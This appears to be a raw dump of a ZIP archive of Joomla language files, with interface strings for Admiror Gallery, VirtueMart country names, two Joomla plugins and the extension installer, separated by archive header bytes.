      Image manager enables you to add, delete, rename the images, you can enter a descriptionfor images and have different description for each of installed site languages.

      Copyright

      Admiror Gallery is free software. You can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3, or (at your option) any later version.

      * This program is distributed in the hope that it will be useful, but WITHOUTANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the GNU General Public License for more details.


      " COM_ADMIRORGALLERY="Admiror Gallery" COM_ADMIRORGALLERY_CONTROL_PANEL="Control Panel" COM_ADMIRORGALLERY_TEMPLATES="Templates" COM_ADMIRORGALLERY_POPUPS="Popups" COM_ADMIRORGALLERY_IMAGE_MANAGER="Image Manager" COM_ADMIRORGALLERY_IMAGE_MANAGER_DESC= "Image Manager tools for image gallery." COM_ADMIRORGALLERY_LAYOUT = "Gallery Layout" COM_ADMIRORGALLERY_LAYOUT_DESC = "Render gallery on page." COM_ADMIRORGALLERY_APPLY_DESC="Apply" COM_ADMIRORGALLERY_RESET_DESC="Reset" ;Component Front-End AG_ENTER_GALLERY_NAME="Enter gallery name" AG_SELECT_GALLERY="Select Gallery" PK@y>\RXDb)b)1language/en-GB/en-GB.com_virtuemart_countries.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM ; COM_VIRTUEMART_VIRTUEMART_COUNTRY_ID="Id" COM_VIRTUEMART_COUNTRY_ALA="Åland Islands" COM_VIRTUEMART_COUNTRY_AFG="Afghanistan" COM_VIRTUEMART_COUNTRY_ALB="Albania" COM_VIRTUEMART_COUNTRY_DZA="Algeria" COM_VIRTUEMART_COUNTRY_ASM="American Samoa" COM_VIRTUEMART_COUNTRY_AND="Andorra" COM_VIRTUEMART_COUNTRY_AGO="Angola" COM_VIRTUEMART_COUNTRY_AIA="Anguilla" COM_VIRTUEMART_COUNTRY_ATA="Antarctica" COM_VIRTUEMART_COUNTRY_ATG="Antigua and Barbuda" COM_VIRTUEMART_COUNTRY_ARG="Argentina" COM_VIRTUEMART_COUNTRY_ARM="Armenia" COM_VIRTUEMART_COUNTRY_ABW="Aruba" COM_VIRTUEMART_COUNTRY_ASC="Ascension" COM_VIRTUEMART_COUNTRY_AUS="Australia" COM_VIRTUEMART_COUNTRY_AUT="Austria" COM_VIRTUEMART_COUNTRY_AZE="Azerbaijan" COM_VIRTUEMART_COUNTRY_BHS="Bahamas" COM_VIRTUEMART_COUNTRY_BHR="Bahrain" COM_VIRTUEMART_COUNTRY_BGD="Bangladesh" COM_VIRTUEMART_COUNTRY_BRB="Barbados" COM_VIRTUEMART_COUNTRY_BLR="Belarus" COM_VIRTUEMART_COUNTRY_BEL="Belgium" COM_VIRTUEMART_COUNTRY_BLZ="Belize" COM_VIRTUEMART_COUNTRY_BEN="Benin" COM_VIRTUEMART_COUNTRY_BMU="Bermuda" COM_VIRTUEMART_COUNTRY_BTN="Bhutan" COM_VIRTUEMART_COUNTRY_BOL="Bolivia" COM_VIRTUEMART_COUNTRY_BES="Bonaire, Sint Eustatius and Saba" COM_VIRTUEMART_COUNTRY_BIH="Bosnia and Herzegovina" COM_VIRTUEMART_COUNTRY_BWA="Botswana" COM_VIRTUEMART_COUNTRY_BVT="Bouvet Island" COM_VIRTUEMART_COUNTRY_BRA="Brazil" COM_VIRTUEMART_COUNTRY_IOT="British Indian Ocean Territory" COM_VIRTUEMART_COUNTRY_BRN="Brunei Darussalam" COM_VIRTUEMART_COUNTRY_BGR="Bulgaria" COM_VIRTUEMART_COUNTRY_BFA="Burkina Faso" COM_VIRTUEMART_COUNTRY_BDI="Burundi" COM_VIRTUEMART_COUNTRY_KHM="Cambodia" COM_VIRTUEMART_COUNTRY_CMR="Cameroon" COM_VIRTUEMART_COUNTRY_CAN="Canada" COM_VIRTUEMART_COUNTRY_CPV="Cape Verde" COM_VIRTUEMART_COUNTRY_CYM="Cayman Islands" COM_VIRTUEMART_COUNTRY_CAF="Central African Republic" COM_VIRTUEMART_COUNTRY_TCD="Chad" COM_VIRTUEMART_COUNTRY_CHL="Chile" COM_VIRTUEMART_COUNTRY_CHN="China" COM_VIRTUEMART_COUNTRY_CXR="Christmas Island" COM_VIRTUEMART_COUNTRY_CCK="Cocos (Keeling) Islands" COM_VIRTUEMART_COUNTRY_COL="Colombia" COM_VIRTUEMART_COUNTRY_COM="Comoros" COM_VIRTUEMART_COUNTRY_COG="Congo" COM_VIRTUEMART_COUNTRY_COD="Congo, The Democratic Republic of the" COM_VIRTUEMART_COUNTRY_COK="Cook Islands" COM_VIRTUEMART_COUNTRY_CRI="Costa Rica" COM_VIRTUEMART_COUNTRY_CIV="Côte d'Ivoire" COM_VIRTUEMART_COUNTRY_HRV="Croatia" COM_VIRTUEMART_COUNTRY_CUB="Cuba" COM_VIRTUEMART_COUNTRY_CUW="Curaçao" COM_VIRTUEMART_COUNTRY_CYP="Cyprus" COM_VIRTUEMART_COUNTRY_CZE="Czech Republic" COM_VIRTUEMART_COUNTRY_DNK="Denmark" COM_VIRTUEMART_COUNTRY_DGA="Diego Garcia" COM_VIRTUEMART_COUNTRY_DJI="Djibouti" COM_VIRTUEMART_COUNTRY_DMA="Dominica" COM_VIRTUEMART_COUNTRY_DOM="Dominican Republic" COM_VIRTUEMART_COUNTRY_ECU="Ecuador" COM_VIRTUEMART_COUNTRY_EGY="Egypt" COM_VIRTUEMART_COUNTRY_SLV="El Salvador" COM_VIRTUEMART_COUNTRY_GNQ="Equatorial Guinea" COM_VIRTUEMART_COUNTRY_ERI="Eritrea" COM_VIRTUEMART_COUNTRY_EST="Estonia" COM_VIRTUEMART_COUNTRY_ETH="Ethiopia" COM_VIRTUEMART_COUNTRY_FLK="Falkland Islands (Malvinas)" COM_VIRTUEMART_COUNTRY_FRO="Faroe Islands" COM_VIRTUEMART_COUNTRY_FJI="Fiji" COM_VIRTUEMART_COUNTRY_FIN="Finland" COM_VIRTUEMART_COUNTRY_FRA="France" COM_VIRTUEMART_COUNTRY_GUF="French Guiana" COM_VIRTUEMART_COUNTRY_PYF="French Polynesia" COM_VIRTUEMART_COUNTRY_ATF="French Southern Territories" COM_VIRTUEMART_COUNTRY_GAB="Gabon" COM_VIRTUEMART_COUNTRY_GMB="Gambia" COM_VIRTUEMART_COUNTRY_GEO="Georgia" COM_VIRTUEMART_COUNTRY_DEU="Germany" COM_VIRTUEMART_COUNTRY_GHA="Ghana" COM_VIRTUEMART_COUNTRY_GIB="Gibraltar" COM_VIRTUEMART_COUNTRY_GRC="Greece" COM_VIRTUEMART_COUNTRY_GRL="Greenland" COM_VIRTUEMART_COUNTRY_GRD="Grenada" COM_VIRTUEMART_COUNTRY_GLP="Guadeloupe" COM_VIRTUEMART_COUNTRY_GUM="Guam" COM_VIRTUEMART_COUNTRY_GTM="Guatemala" COM_VIRTUEMART_COUNTRY_GGY="Guernsey" COM_VIRTUEMART_COUNTRY_GIN="Guinea" COM_VIRTUEMART_COUNTRY_GNB="Guinea-Bissau" COM_VIRTUEMART_COUNTRY_GUY="Guyana" COM_VIRTUEMART_COUNTRY_HTI="Haiti" COM_VIRTUEMART_COUNTRY_HMD="Heard and McDonald Islands" COM_VIRTUEMART_COUNTRY_HND="Honduras" COM_VIRTUEMART_COUNTRY_HKG="Hong Kong" COM_VIRTUEMART_COUNTRY_HUN="Hungary" COM_VIRTUEMART_COUNTRY_ISL="Iceland" COM_VIRTUEMART_COUNTRY_IND="India" COM_VIRTUEMART_COUNTRY_IDN="Indonesia" COM_VIRTUEMART_COUNTRY_IRN="Iran, Islamic Republic of" COM_VIRTUEMART_COUNTRY_IRQ="Iraq" COM_VIRTUEMART_COUNTRY_IRL="Ireland" COM_VIRTUEMART_COUNTRY_IMN="Isle Of Man" COM_VIRTUEMART_COUNTRY_ISR="Israel" COM_VIRTUEMART_COUNTRY_ITA="Italy" COM_VIRTUEMART_COUNTRY_JAM="Jamaica" COM_VIRTUEMART_COUNTRY_JPN="Japan" COM_VIRTUEMART_COUNTRY_JEY="Jersey" COM_VIRTUEMART_COUNTRY_JOR="Jordan" COM_VIRTUEMART_COUNTRY_KAZ="Kazakhstan" COM_VIRTUEMART_COUNTRY_KEN="Kenya" COM_VIRTUEMART_COUNTRY_KIR="Kiribati" COM_VIRTUEMART_COUNTRY_PRK="Korea, Democratic People's Republic of" COM_VIRTUEMART_COUNTRY_KOR="Korea, Republic of" COM_VIRTUEMART_COUNTRY_KWT="Kuwait" COM_VIRTUEMART_COUNTRY_KGZ="Kyrgyzstan" COM_VIRTUEMART_COUNTRY_LAO="Lao People's Democratic Republic" COM_VIRTUEMART_COUNTRY_LVA="Latvia" COM_VIRTUEMART_COUNTRY_LBN="Lebanon" COM_VIRTUEMART_COUNTRY_LSO="Lesotho" COM_VIRTUEMART_COUNTRY_LBR="Liberia" COM_VIRTUEMART_COUNTRY_LBY="Libya" COM_VIRTUEMART_COUNTRY_LIE="Liechtenstein" COM_VIRTUEMART_COUNTRY_LTU="Lithuania" COM_VIRTUEMART_COUNTRY_LUX="Luxembourg" COM_VIRTUEMART_COUNTRY_MAC="Macau" COM_VIRTUEMART_COUNTRY_MKD="Macedonia, the former Yugoslav Republic of" COM_VIRTUEMART_COUNTRY_MDG="Madagascar" COM_VIRTUEMART_COUNTRY_MWI="Malawi" COM_VIRTUEMART_COUNTRY_MYS="Malaysia" COM_VIRTUEMART_COUNTRY_MDV="Maldives" COM_VIRTUEMART_COUNTRY_MLI="Mali" COM_VIRTUEMART_COUNTRY_MLT="Malta" COM_VIRTUEMART_COUNTRY_MHL="Marshall Islands" COM_VIRTUEMART_COUNTRY_MTQ="Martinique" COM_VIRTUEMART_COUNTRY_MRT="Mauritania" COM_VIRTUEMART_COUNTRY_MUS="Mauritius" COM_VIRTUEMART_COUNTRY_MYT="Mayotte" COM_VIRTUEMART_COUNTRY_MEX="Mexico" COM_VIRTUEMART_COUNTRY_FSM="Micronesia, Federated States of" COM_VIRTUEMART_COUNTRY_MDA="Moldova, Republic of" COM_VIRTUEMART_COUNTRY_MCO="Monaco" COM_VIRTUEMART_COUNTRY_MNG="Mongolia" COM_VIRTUEMART_COUNTRY_MNE="Montenegro" COM_VIRTUEMART_COUNTRY_MSR="Montserrat" COM_VIRTUEMART_COUNTRY_MAR="Morocco" COM_VIRTUEMART_COUNTRY_MOZ="Mozambique" COM_VIRTUEMART_COUNTRY_MMR="Myanmar" COM_VIRTUEMART_COUNTRY_NAM="Namibia" COM_VIRTUEMART_COUNTRY_NRU="Nauru" COM_VIRTUEMART_COUNTRY_NPL="Nepal" COM_VIRTUEMART_COUNTRY_NLD="Netherlands" COM_VIRTUEMART_COUNTRY_NCL="New Caledonia" COM_VIRTUEMART_COUNTRY_NZL="New Zealand" COM_VIRTUEMART_COUNTRY_NIC="Nicaragua" COM_VIRTUEMART_COUNTRY_NER="Niger" COM_VIRTUEMART_COUNTRY_NGA="Nigeria" COM_VIRTUEMART_COUNTRY_NIU="Niue" COM_VIRTUEMART_COUNTRY_NFK="Norfolk Island" COM_VIRTUEMART_COUNTRY_MNP="Northern Mariana Islands" COM_VIRTUEMART_COUNTRY_NOR="Norway" COM_VIRTUEMART_COUNTRY_OMN="Oman" COM_VIRTUEMART_COUNTRY_PAK="Pakistan" COM_VIRTUEMART_COUNTRY_PLW="Palau" COM_VIRTUEMART_COUNTRY_PSE="Palestinian Territory, Occupied" COM_VIRTUEMART_COUNTRY_PAN="Panama" COM_VIRTUEMART_COUNTRY_PNG="Papua New Guinea" COM_VIRTUEMART_COUNTRY_PRY="Paraguay" COM_VIRTUEMART_COUNTRY_PER="Peru" COM_VIRTUEMART_COUNTRY_PHL="Philippines" COM_VIRTUEMART_COUNTRY_PCN="Pitcairn" COM_VIRTUEMART_COUNTRY_POL="Poland" COM_VIRTUEMART_COUNTRY_PRT="Portugal" COM_VIRTUEMART_COUNTRY_PRI="Puerto Rico" COM_VIRTUEMART_COUNTRY_QAT="Qatar" COM_VIRTUEMART_COUNTRY_REU="Réunion" COM_VIRTUEMART_COUNTRY_ROU="Romania" COM_VIRTUEMART_COUNTRY_RUS="Russian Federation" COM_VIRTUEMART_COUNTRY_RWA="Rwanda" COM_VIRTUEMART_COUNTRY_BLM="Saint Barthélemy" COM_VIRTUEMART_COUNTRY_SHN="Saint Helena" COM_VIRTUEMART_COUNTRY_KNA="Saint Kitts and Nevis" COM_VIRTUEMART_COUNTRY_LCA="Saint Lucia" COM_VIRTUEMART_COUNTRY_MAF="Saint Martin (French part)" COM_VIRTUEMART_COUNTRY_SPM="Saint Pierre and Miquelon" COM_VIRTUEMART_COUNTRY_VCT="Saint Vincent and the Grenadines" COM_VIRTUEMART_COUNTRY_WSM="Samoa" COM_VIRTUEMART_COUNTRY_SMR="San Marino" COM_VIRTUEMART_COUNTRY_STP="Sao Tome And Principe" COM_VIRTUEMART_COUNTRY_SAU="Saudi Arabia" COM_VIRTUEMART_COUNTRY_SEN="Senegal" COM_VIRTUEMART_COUNTRY_SRB="Serbia" COM_VIRTUEMART_COUNTRY_SYC="Seychelles" COM_VIRTUEMART_COUNTRY_SLE="Sierra Leone" COM_VIRTUEMART_COUNTRY_SGP="Singapore" COM_VIRTUEMART_COUNTRY_SXM="Sint Maarten (Dutch part)" COM_VIRTUEMART_COUNTRY_SVK="Slovakia" COM_VIRTUEMART_COUNTRY_SVN="Slovenia" COM_VIRTUEMART_COUNTRY_SLB="Solomon Islands" COM_VIRTUEMART_COUNTRY_SOM="Somalia" COM_VIRTUEMART_COUNTRY_ZAF="South Africa" COM_VIRTUEMART_COUNTRY_SGS="South Georgia and the South Sandwich Islands" COM_VIRTUEMART_COUNTRY_SSD="South Sudan" COM_VIRTUEMART_COUNTRY_ESP="Spain" COM_VIRTUEMART_COUNTRY_LKA="Sri Lanka" COM_VIRTUEMART_COUNTRY_SDN="Sudan" COM_VIRTUEMART_COUNTRY_SUR="Suriname" COM_VIRTUEMART_COUNTRY_SJM="Svalbard and Jan Mayen" COM_VIRTUEMART_COUNTRY_SWZ="Swaziland" COM_VIRTUEMART_COUNTRY_SWE="Sweden" COM_VIRTUEMART_COUNTRY_CHE="Switzerland" COM_VIRTUEMART_COUNTRY_SYR="Syrian Arab Republic" COM_VIRTUEMART_COUNTRY_TWN="Taiwan" COM_VIRTUEMART_COUNTRY_TJK="Tajikistan" COM_VIRTUEMART_COUNTRY_TZA="Tanzania, United Republic of" COM_VIRTUEMART_COUNTRY_THA="Thailand" COM_VIRTUEMART_COUNTRY_TLS="Timor-Leste" COM_VIRTUEMART_COUNTRY_TGO="Togo" COM_VIRTUEMART_COUNTRY_TKL="Tokelau" COM_VIRTUEMART_COUNTRY_TON="Tonga" COM_VIRTUEMART_COUNTRY_TTO="Trinidad and Tobago" COM_VIRTUEMART_COUNTRY_TAA="Tristan da Cunha" COM_VIRTUEMART_COUNTRY_TUN="Tunisia" COM_VIRTUEMART_COUNTRY_TUR="Turkey" COM_VIRTUEMART_COUNTRY_TKM="Turkmenistan" COM_VIRTUEMART_COUNTRY_TCA="Turks and Caicos Islands" COM_VIRTUEMART_COUNTRY_TUV="Tuvalu" COM_VIRTUEMART_COUNTRY_UGA="Uganda" COM_VIRTUEMART_COUNTRY_UKR="Ukraine" COM_VIRTUEMART_COUNTRY_ARE="United Arab Emirates" COM_VIRTUEMART_COUNTRY_GBR="United Kingdom" COM_VIRTUEMART_COUNTRY_USA="United States" COM_VIRTUEMART_COUNTRY_UMI="United States Minor Outlying Islands" COM_VIRTUEMART_COUNTRY_URY="Uruguay" COM_VIRTUEMART_COUNTRY_UZB="Uzbekistan" COM_VIRTUEMART_COUNTRY_VUT="Vanuatu" COM_VIRTUEMART_COUNTRY_VAT="Vatican City State (Holy See)" COM_VIRTUEMART_COUNTRY_VEN="Venezuela" COM_VIRTUEMART_COUNTRY_VNM="Viet Nam" COM_VIRTUEMART_COUNTRY_VGB="Virgin Islands, British" COM_VIRTUEMART_COUNTRY_VIR="Virgin Islands, U.S." COM_VIRTUEMART_COUNTRY_WLF="Wallis and Futuna" COM_VIRTUEMART_COUNTRY_ESH="Western Sahara" COM_VIRTUEMART_COUNTRY_YEM="Yemen" COM_VIRTUEMART_COUNTRY_ZMB="Zambia" COM_VIRTUEMART_COUNTRY_ZWE="Zimbabwe"PK@y>\,22language/en-GB/en-GB.plg_content_pagebreak.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_PAGEBREAK="Content - Pagebreak" PLG_CONTENT_PAGEBREAK_XML_DESCRIPTION="Allow the creation of a paginated article with optional table of contents. Insert page breaks through the use of the page break button normally found in beneath the text panel in an Article. The page break will be displayed in the text window as a simple horizontal line.
      The text displayed will depend on the options chosen and may be either the title, alternate text (if provided) or page numbers.

      The HTML usage is:
      <hr class="_QQ_"system-pagebreak"_QQ_" />
      <hr class="_QQ_"system-pagebreak"_QQ_" title="_QQ_"The page title"_QQ_" /> or
      <hr class="_QQ_"system-pagebreak"_QQ_" alt="_QQ_"The first page"_QQ_" /> or
      <hr class="_QQ_"system-pagebreak"_QQ_" title="_QQ_"The page title"_QQ_" alt="_QQ_"The first page"_QQ_" /> or
      <hr class="_QQ_"system-pagebreak"_QQ_" alt="_QQ_"The first page"_QQ_" title="_QQ_"The page title"_QQ_" />"PK@y>\N0language/en-GB/en-GB.plg_finder_weblinks.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_WEBLINKS="Smart Search - Weblinks" PLG_FINDER_WEBLINKS_ERROR_ACTIVATING_PLUGIN="Could not automatically activate the "_QQ_"Smart Search - Weblinks"_QQ_" plugin" PLG_FINDER_WEBLINKS_XML_DESCRIPTION="This plugin indexes Joomla! Weblinks." PK@y>\fSQM@M@&language/en-GB/en-GB.com_installer.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_INSTALLER="Installation Manager" COM_INSTALLER_AUTHOR_INFORMATION="Author Information" COM_INSTALLER_COMPATIBILITY_TOOLTIP_TITLE="Compatibility" COM_INSTALLER_COMPATIBILITY_TOOLTIP_INSTALLED="Installed version (%1$s) works with Joomla! versions %2$s." COM_INSTALLER_COMPATIBILITY_TOOLTIP_AVAILABLE="Latest available version (%1$s) works with Joomla! versions %2$s." COM_INSTALLER_CONFIGURATION="Installer configuration" COM_INSTALLER_ENABLED_UPDATES_1=", 1 disabled site was enabled" COM_INSTALLER_ENABLED_UPDATES_MORE=", %s disabled sites were enabled" COM_INSTALLER_ERROR_DISABLE_DEFAULT_TEMPLATE_NOT_PERMITTED="Disable default template is not permitted" COM_INSTALLER_ERROR_METHOD="Method Not Implemented" COM_INSTALLER_ERROR_NO_EXTENSIONS_SELECTED="No extensions selected" COM_INSTALLER_EXTENSION_DISABLE="Disable extension" COM_INSTALLER_EXTENSION_DISABLED="Disabled extension" COM_INSTALLER_EXTENSION_ENABLE="Enable extension" COM_INSTALLER_EXTENSION_ENABLED="Enabled extension" COM_INSTALLER_EXTENSION_PROTECTED="Protected extension" COM_INSTALLER_EXTENSION_PUBLISHED="Extension successfully enabled." COM_INSTALLER_EXTENSION_UNPUBLISHED="Extension successfully disabled." COM_INSTALLER_FAILED_TO_ENABLE_UPDATES=", failed to enable updates" COM_INSTALLER_FAILED_TO_PURGE_UPDATES="Failed to purge updates" COM_INSTALLER_HEADER_DATABASE="Extension Manager: Check Database" COM_INSTALLER_HEADER_DISCOVER="Extension Manager: Discover" COM_INSTALLER_HEADER_INSTALL="Extension Manager: Install" COM_INSTALLER_HEADER_MANAGE="Extension Manager: Manage" COM_INSTALLER_HEADER_UPDATE="Extension Manager: Update" COM_INSTALLER_HEADER_WARNINGS="Extension Manager: Warnings" COM_INSTALLER_HEADING_CLIENT="Client" COM_INSTALLER_HEADING_LOCATION="Location" COM_INSTALLER_HEADING_DETAILSURL="URL Details" COM_INSTALLER_HEADING_FOLDER="Folder" COM_INSTALLER_HEADING_ID="ID" COM_INSTALLER_HEADING_INSTALLTYPE="Install Type" COM_INSTALLER_HEADING_NAME="Name" COM_INSTALLER_HEADING_TYPE="Type" COM_INSTALLER_INSTALL_BUTTON="Install" COM_INSTALLER_INSTALL_DIRECTORY="Install Directory" COM_INSTALLER_INSTALL_ERROR="Error installing %s" COM_INSTALLER_INSTALL_FROM_DIRECTORY="Install from Directory" COM_INSTALLER_INSTALL_FROM_URL="Install from URL" COM_INSTALLER_INSTALL_SUCCESS="Installing %s was successful." COM_INSTALLER_INSTALL_URL="Install URL" COM_INSTALLER_INVALID_EXTENSION_UPDATE="Invalid extension update" COM_INSTALLER_LABEL_HIDEPROTECTED_DESC="Hide protected extensions. Protected extensions can't be uninstalled." COM_INSTALLER_LABEL_HIDEPROTECTED_LABEL="Hide protected extensions" COM_INSTALLER_MSG_DESCFTP="For installing or uninstalling Extensions, Joomla! will most likely need your FTP account details. Please enter them in the form fields below." COM_INSTALLER_MSG_DESCFTPTITLE="FTP Login Details" COM_INSTALLER_MSG_DATABASE_CHECKED_OK="%s database changes were checked successfully." COM_INSTALLER_MSG_DATABASE_SKIPPED="%s database changes did not alter table structure and were skipped." COM_INSTALLER_MSG_DATABASE_DRIVER="Database driver: %s." COM_INSTALLER_MSG_DATABASE_SCHEMA_VERSION="Database schema version (in #__schemas): %s." COM_INSTALLER_MSG_DATABASE_UPDATE_VERSION="Update version (in #__extensions): %s." COM_INSTALLER_MSG_DATABASE_OK="Database table structure is up to date." COM_INSTALLER_MSG_DATABASE="This screen allows to you check that your database table structure is up to date with changes from the previous versions." COM_INSTALLER_MSG_DATABASE_ERRORS="Warning: Database is not up to date!" COM_INSTALLER_MSG_DATABASE_CHANGE_COLUMN_TYPE="Table %2$s does not have column %3$s with type %4$s. (From file %1$s.)" COM_INSTALLER_MSG_DATABASE_CREATE_TABLE="Table %2$s does not exist. (From file %1$s.)" COM_INSTALLER_MSG_DATABASE_ADD_COLUMN="Table %2$s does not have column %3$s. (From file %1$s.)" COM_INSTALLER_MSG_DATABASE_ADD_INDEX="Table %2$s does not have index %3$s. (From file %1$s.)" COM_INSTALLER_MSG_DATABASE_DROP_INDEX="Table %2$s should not have index %3$s. (From file %1$s.)" COM_INSTALLER_MSG_DATABASE_FILTER_ERROR="No default text filters found." COM_INSTALLER_MSG_DATABASE_UPDATEVERSION_ERROR="Database update version (%s) does not match CMS version (%s)." COM_INSTALLER_MSG_DATABASE_INFO="Other Information" COM_INSTALLER_MSG_N_DATABASE_ERROR_PANEL="%d Database Problems Found" COM_INSTALLER_MSG_N_DATABASE_ERROR_PANEL_1="1 Database Problem Found" COM_INSTALLER_MSG_DATABASE_SCHEMA_ERROR="Database schema version (%s) does not match CMS version (%s)." COM_INSTALLER_MSG_DISCOVER_DESCRIPTION="This screen allows you to discover extensions that have not gone through the normal installation process.
      For example, some extensions are too large in file size to upload using the web interface due to limitations of the web hosting environment. Using this feature you can upload extension files directly to your web server using some other means such as FTP or SFTP and place those extension files into the appropriate directory.
      You can then use the discover feature to find the newly uploaded extension and activate it in your Joomla! installation.
      Using the discover operation you can also discover and install multiple extensions at the same time." COM_INSTALLER_MSG_DISCOVER_FAILEDTOPURGEEXTENSIONS="Failed to purge extensions" COM_INSTALLER_MSG_DISCOVER_INSTALLFAILED="Discover install failed" COM_INSTALLER_MSG_DISCOVER_INSTALLSUCCESSFUL="Discover install successful" COM_INSTALLER_MSG_DISCOVER_NOEXTENSION="No extensions have been discovered. Click Discover to find new extensions that might be available for install." COM_INSTALLER_MSG_DISCOVER_NOEXTENSIONSELECTED="No extension selected" COM_INSTALLER_MSG_DISCOVER_PURGEDDISCOVEREDEXTENSIONS="Purged discovered extensions" COM_INSTALLER_MSG_INSTALL_ENTER_A_URL="Please enter a URL" COM_INSTALLER_MSG_INSTALL_INVALID_URL="Invalid URL" COM_INSTALLER_MSG_INSTALL_NO_FILE_SELECTED="No file selected" COM_INSTALLER_MSG_INSTALL_PATH_DOES_NOT_HAVE_A_VALID_PACKAGE="Path does not have a valid package." COM_INSTALLER_MSG_INSTALL_PLEASE_ENTER_A_PACKAGE_DIRECTORY="Please enter a package directory" COM_INSTALLER_MSG_INSTALL_PLEASE_SELECT_A_DIRECTORY="Please select a directory" COM_INSTALLER_MSG_INSTALL_PLEASE_SELECT_A_PACKAGE="Please select a package location" COM_INSTALLER_MSG_INSTALL_WARNINSTALLFILE="The installer cannot continue until file uploads are enabled for the server." COM_INSTALLER_MSG_INSTALL_WARNINSTALLUPLOADERROR="There was an error uploading this file to the server." COM_INSTALLER_MSG_INSTALL_WARNINSTALLZLIB="The installer cannot continue until Zlib is installed." COM_INSTALLER_MSG_LANGUAGES_CANT_FIND_REMOTE_MANIFEST="The installer can't get the url to the XML manifest file of the %s language." COM_INSTALLER_MSG_LANGUAGES_CANT_FIND_REMOTE_PACKAGE="The installer can't get the url to the remote %s language." COM_INSTALLER_MSG_LANGUAGES_TRY_LATER="Try again later or contact the language team coordinator" COM_INSTALLER_MSG_MANAGE_NOEXTENSION="There are no extensions installed matching your query" COM_INSTALLER_MSG_UPDATE_ERROR="Error updating %s." COM_INSTALLER_MSG_UPDATE_NODESC="No description available for this item." COM_INSTALLER_MSG_UPDATE_NOUPDATES="There are no updates available at the moment. Please check again later." COM_INSTALLER_MSG_UPDATE_SUCCESS="Updating %s was successful." COM_INSTALLER_MSG_UPDATE_UPDATE="Update" COM_INSTALLER_MSG_WARNINGS_FILEUPLOADSDISABLED="File uploads disabled" COM_INSTALLER_MSG_WARNINGS_FILEUPLOADISDISABLEDDESC="File uploads are required to upload extensions into the installer." COM_INSTALLER_MSG_WARNINGFURTHERINFO="Further information on warnings" COM_INSTALLER_MSG_WARNINGFURTHERINFODESC="For more information on warnings, see the Joomla! Documentation Site" COM_INSTALLER_MSG_WARNINGS_JOOMLATMPNOTSET="The Joomla! temporary directory is not set" COM_INSTALLER_MSG_WARNINGS_JOOMLATMPNOTSETDESC="The Joomla! temporary directory is where Joomla! copies an extension, extracts the extension and the files are copied into the correct directories. If this configuration is not set in configuration.php ($tmp_path) then you won't be able to upload extensions. Create a directory to enable Joomla! to write to the directory to fix the issue." COM_INSTALLER_MSG_WARNINGS_JOOMLATMPNOTWRITEABLE="Joomla temporary directory not writable or does not exist" COM_INSTALLER_MSG_WARNINGS_JOOMLATMPNOTWRITEABLEDESC="The Joomla temporary directory is not writeable by the Joomla! instance, or may not exist, which may cause issues when attempting to upload extensions to Joomla!. If you are having issues uploading extensions, make sure the directory defined in your configuration.php exists or check the '%s' and set it to be writeable and see if this fixes the issue." COM_INSTALLER_MSG_WARNINGS_LOWMEMORYDESC="Low PHP Memory Limit" COM_INSTALLER_MSG_WARNINGS_LOWMEMORYWARN="Your PHP memory limit is set below 8MB which may cause some issues when installing large extensions. Please set your memory limit to at least 16MB." COM_INSTALLER_MSG_WARNINGS_MEDMEMORYDESC="Potentially low PHP Memory Limit" COM_INSTALLER_MSG_WARNINGS_MEDMEMORYWARN="Your PHP memory limit is set below 16MB which may cause some issues when installing large extensions. Please set your memory limit to at least 16MB." COM_INSTALLER_MSG_WARNINGS_SMALLPOSTSIZE="Small PHP maximum POST size" COM_INSTALLER_MSG_WARNINGS_SMALLPOSTSIZEDESC="The maximum POST size sets the most amount of data that can be sent via POST to the server. This includes form submissions for articles, media (images, videos) and extensions. This value is less than 2MB which may impact on uploading large extensions. This is set in the php.ini under post_max_size" COM_INSTALLER_MSG_WARNINGS_SMALLUPLOADSIZE="Small PHP file upload size" COM_INSTALLER_MSG_WARNINGS_SMALLUPLOADSIZEDESC="The maximum file size for uploads is set to less than 2MB which may impact on uploading large extensions." COM_INSTALLER_MSG_WARNINGS_UPLOADBIGGERTHANPOST="PHP Upload Size bigger than POST size" COM_INSTALLER_MSG_WARNINGS_UPLOADBIGGERTHANPOSTDESC="The value of the upload_max_filesize in the php.ini file is greater than the post_max_size variable. The post_max_size variable will take precedence here and block requests larger than it. This is generally a server misconfiguration when trying to increase upload sizes. Please increase the upload_max_filesize to at least match the post_max_size variable or vice versa" COM_INSTALLER_MSG_WARNINGS_NONE="No warnings detected" COM_INSTALLER_MSG_WARNINGS_NOTCOMPLETE="

      Warning: Update Not Complete!

      The update is only partially complete. Please do the second update to complete the process.

      " COM_INSTALLER_MSG_WARNINGS_PHPUPLOADNOTSET="The PHP temporary directory is not set" COM_INSTALLER_MSG_WARNINGS_PHPUPLOADNOTSETDESC="The PHP temporary directory is the directory that PHP uses to store an uploaded file before Joomla! can access this file. Whilst the directory not being set isn't always a problem, if you are having issues with manifest files not being detected or uploaded files not being detected, setting this in your php.ini file might fix the issue." COM_INSTALLER_MSG_WARNINGS_PHPUPLOADNOTWRITEABLE="The PHP temporary directory is not writeable" COM_INSTALLER_MSG_WARNINGS_PHPUPLOADNOTWRITEABLEDESC="The PHP temporary directory is not writeable by the Joomla! instance, which may cause issues when attempting to upload extensions to Joomla!. If you are having issues uploading extensions, check the '%s' and set it to be writeable and see if this fixes the issue." COM_INSTALLER_N_EXTENSIONS_PUBLISHED="%d extensions successfully enabled." COM_INSTALLER_N_EXTENSIONS_PUBLISHED_1="%d extension successfully enabled." COM_INSTALLER_N_EXTENSIONS_UNPUBLISHED="%d extensions successfully disabled." 